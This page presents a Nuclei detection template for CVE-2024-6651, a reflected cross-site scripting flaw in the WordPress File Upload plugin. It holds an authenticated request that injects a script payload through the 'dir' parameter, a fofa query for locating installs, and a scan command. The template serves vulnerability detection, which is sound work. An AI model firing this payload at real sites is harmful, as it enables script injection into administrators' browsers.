WordPress File Upload Plugin < 4.24.8 - Cross-Site Scripting

ID: CVE-2024-6651

Severity: high

Author: ritikchaddha

Tags: cve,cve2024,wp,wordpress,wp-plugin,xss,wp-file-upload,authenticated

Description

The WordPress File Upload plugin before version 4.24.8 contains a reflected cross-site scripting vulnerability. The plugin does not properly sanitize and escape the ‘dir’ parameter in the file browser page before outputting it back, which could allow attackers to execute arbitrary JavaScript code in an administrator’s browser context.

YAML Source

id: CVE-2024-6651

info:
  name: WordPress File Upload Plugin < 4.24.8 - Cross-Site Scripting
  author: ritikchaddha
  severity: high
  description: |
    The WordPress File Upload plugin before version 4.24.8 contains a reflected cross-site scripting vulnerability. The plugin does not properly sanitize and escape the 'dir' parameter in the file browser page before outputting it back, which could allow attackers to execute arbitrary JavaScript code in an administrator's browser context.
  reference:
    - https://wpscan.com/vulnerability/65e2c77d-09bd-4a44-81d9-d7a5db0e0f84
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6651
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
    cvss-score: 7.1
    cve-id: CVE-2024-6651
    cwe-id: CWE-79
  metadata:
    max-request: 3
    vendor: WordPress
    product: wp-file-upload
    fofa-query: body='wp-content/plugins/wp-file-upload/'
  tags: cve,cve2024,wp,wordpress,wp-plugin,xss,wp-file-upload,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: word
        part: body
        words:
          - 'wp-file-upload/'
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/options-general.php?page=wordpress_file_upload&action=file_browser&dir=7b2BEyT8ArR1jaD9%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Ctest%20test%3D HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><script>alert(document.domain)</script><test test='
        condition: and

      - type: word
        part: content_type
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a0046304402206c81a24a6e6e2ab4612586684607caa69eea8f1f7a305e82fdb6818bc370d68d02204f9ba16367a0f08882658efa69b17b71919aa7088dd64f3f8c1983191ca7cd5a:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-6651.yaml"

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